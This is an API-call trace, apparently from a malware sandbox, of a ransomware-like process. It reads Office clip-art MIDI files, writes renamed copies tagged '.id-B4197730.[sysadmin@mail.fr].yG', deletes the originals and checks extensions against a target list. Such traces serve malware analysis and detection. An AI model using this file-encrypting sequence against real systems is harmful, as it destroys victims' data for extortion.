	[0150.113] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.113] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xea, lpOverlapped=0x0) returned 1
	[0150.113] SetEndOfFile (hFile=0x554) returned 1
	[0150.114] CloseHandle (hObject=0x554) returned 1
	[0150.114] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.114] SetEndOfFile (hFile=0x52c) returned 1
	[0150.272] CloseHandle (hObject=0x52c) returned 1
	[0150.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1
	[0150.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.786] lstrlenW (lpString=".doc") returned 4
	[0150.786] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.786] lstrlenW (lpString=".docx") returned 5
	[0150.786] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.786] lstrlenW (lpString=".pdf") returned 4
	[0150.786] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.786] lstrlenW (lpString=".xls") returned 4
	[0150.786] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.786] lstrlenW (lpString=".xlsx") returned 5
	[0150.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.787] lstrlenW (lpString=".ppt") returned 4
	[0150.787] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString=".zip") returned 4
	[0150.787] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.787] lstrlenW (lpString=".rar") returned 4
	[0150.787] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.787] lstrlenW (lpString=".bz2") returned 4
	[0150.787] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.787] lstrlenW (lpString=".7z") returned 3
	[0150.787] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString=".dbf") returned 4
	[0150.787] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString=".1cd") returned 4
	[0150.787] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString=".jpg") returned 4
	[0150.787] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.787] lstrlenW (lpString=".doc") returned 4
	[0150.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.787] lstrlenW (lpString=".docx") returned 5
	[0150.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.787] lstrlenW (lpString=".pdf") returned 4
	[0150.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.788] lstrlenW (lpString=".xls") returned 4
	[0150.788] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.788] lstrlenW (lpString=".xlsx") returned 5
	[0150.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.788] lstrlenW (lpString=".ppt") returned 4
	[0150.788] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.788] lstrlenW (lpString=".zip") returned 4
	[0150.788] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.788] lstrlenW (lpString=".rar") returned 4
	[0150.788] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.788] lstrlenW (lpString=".bz2") returned 4
	[0150.788] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.788] lstrlenW (lpString=".7z") returned 3
	[0150.788] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.788] lstrlenW (lpString=".dbf") returned 4
	[0150.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.788] lstrlenW (lpString=".1cd") returned 4
	[0150.788] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67
	[0150.788] lstrlenW (lpString=".jpg") returned 4
	[0150.788] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.788] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.788] lstrlenW (lpString="PARNT_01.MID") returned 12
	[0150.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.789] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=6491) returned 1
	[0150.789] CloseHandle (hObject=0x530) returned 1
	[0150.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220
	[0150.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.790] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.790] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0150.791] GetLastError () returned 0x0
	[0150.791] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x195b, lpOverlapped=0x0) returned 1
	[0150.795] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1960, lpOverlapped=0x0) returned 1
	[0150.796] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.797] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.797] SetEndOfFile (hFile=0x38c) returned 1
	[0150.797] CloseHandle (hObject=0x38c) returned 1
	[0150.797] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.797] SetEndOfFile (hFile=0x530) returned 1
	[0150.805] CloseHandle (hObject=0x530) returned 1
	[0150.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1
	[0150.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.807] lstrlenW (lpString=".doc") returned 4
	[0150.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.807] lstrlenW (lpString=".docx") returned 5
	[0150.807] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.807] lstrlenW (lpString=".pdf") returned 4
	[0150.807] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.807] lstrlenW (lpString=".xls") returned 4
	[0150.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.807] lstrlenW (lpString=".xlsx") returned 5
	[0150.807] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.807] lstrlenW (lpString=".ppt") returned 4
	[0150.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.807] lstrlenW (lpString=".zip") returned 4
	[0150.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.807] lstrlenW (lpString=".rar") returned 4
	[0150.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.808] lstrlenW (lpString=".bz2") returned 4
	[0150.808] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.808] lstrlenW (lpString=".7z") returned 3
	[0150.808] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.808] lstrlenW (lpString=".dbf") returned 4
	[0150.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.808] lstrlenW (lpString=".1cd") returned 4
	[0150.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.808] lstrlenW (lpString=".jpg") returned 4
	[0150.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.808] lstrlenW (lpString=".doc") returned 4
	[0150.808] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.808] lstrlenW (lpString=".docx") returned 5
	[0150.808] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.808] lstrlenW (lpString=".pdf") returned 4
	[0150.808] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.808] lstrlenW (lpString=".xls") returned 4
	[0150.808] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.808] lstrlenW (lpString=".xlsx") returned 5
	[0150.808] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.809] lstrlenW (lpString=".ppt") returned 4
	[0150.809] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.809] lstrlenW (lpString=".zip") returned 4
	[0150.809] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.809] lstrlenW (lpString=".rar") returned 4
	[0150.809] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.809] lstrlenW (lpString=".bz2") returned 4
	[0150.809] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.809] lstrlenW (lpString=".7z") returned 3
	[0150.809] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.809] lstrlenW (lpString=".dbf") returned 4
	[0150.809] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.809] lstrlenW (lpString=".1cd") returned 4
	[0150.809] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0150.809] lstrlenW (lpString=".jpg") returned 4
	[0150.809] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.809] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.809] lstrlenW (lpString="PARNT_02.MID") returned 12
	[0150.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.811] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=5714) returned 1
	[0150.811] CloseHandle (hObject=0x530) returned 1
	[0150.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220
	[0150.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.812] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.812] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0150.813] GetLastError () returned 0x0
	[0150.813] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1652, lpOverlapped=0x0) returned 1
	[0150.814] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1660, lpOverlapped=0x0) returned 1
	[0150.816] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.816] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.816] SetEndOfFile (hFile=0x38c) returned 1
	[0150.816] CloseHandle (hObject=0x38c) returned 1
	[0150.816] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.816] SetEndOfFile (hFile=0x530) returned 1
	[0150.820] CloseHandle (hObject=0x530) returned 1
	[0150.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1
	[0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.821] lstrlenW (lpString=".doc") returned 4
	[0150.821] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.821] lstrlenW (lpString=".docx") returned 5
	[0150.821] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0150.821] lstrlenW (lpString=".pdf") returned 4
	[0150.821] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.821] lstrlenW (lpString=".xls") returned 4
	[0150.821] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.821] lstrlenW (lpString=".xlsx") returned 5
	[0150.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0150.821] lstrlenW (lpString=".ppt") returned 4
	[0150.821] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.821] lstrlenW (lpString=".zip") returned 4
	[0150.821] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.821] lstrlenW (lpString=".rar") returned 4
	[0150.821] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.821] lstrlenW (lpString=".bz2") returned 4
	[0150.822] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.822] lstrlenW (lpString=".7z") returned 3
	[0150.822] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.822] lstrlenW (lpString=".dbf") returned 4
	[0150.822] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.822] lstrlenW (lpString=".1cd") returned 4
	[0150.822] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.822] lstrlenW (lpString=".jpg") returned 4
	[0150.822] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.822] lstrlenW (lpString=".doc") returned 4
	[0150.822] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.822] lstrlenW (lpString=".docx") returned 5
	[0150.822] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0150.822] lstrlenW (lpString=".pdf") returned 4
	[0150.822] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.822] lstrlenW (lpString=".xls") returned 4
	[0150.822] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.822] lstrlenW (lpString=".xlsx") returned 5
	[0150.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0150.822] lstrlenW (lpString=".ppt") returned 4
	[0150.823] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.823] lstrlenW (lpString=".zip") returned 4
	[0150.823] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.823] lstrlenW (lpString=".rar") returned 4
	[0150.823] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.823] lstrlenW (lpString=".bz2") returned 4
	[0150.823] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.823] lstrlenW (lpString=".7z") returned 3
	[0150.823] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.823] lstrlenW (lpString=".dbf") returned 4
	[0150.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.823] lstrlenW (lpString=".1cd") returned 4
	[0150.823] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68
	[0150.823] lstrlenW (lpString=".jpg") returned 4
	[0150.823] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.823] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.823] lstrlenW (lpString="PARNT_03.MID") returned 12
	[0150.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.824] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=8538) returned 1
	[0150.824] CloseHandle (hObject=0x530) returned 1
	[0150.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220
	[0150.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.825] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.825] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0150.826] GetLastError () returned 0x0
	[0150.826] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x215a, lpOverlapped=0x0) returned 1
	[0151.024] WriteFile (in: hFile=0x38c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2160, lpOverlapped=0x0) returned 1
